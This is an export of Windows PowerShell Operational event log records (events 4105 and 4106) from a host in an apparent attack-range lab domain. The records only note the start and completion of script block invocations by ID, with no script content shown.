Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040193
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040192
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040191
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040190
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040173
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040168
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040167
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
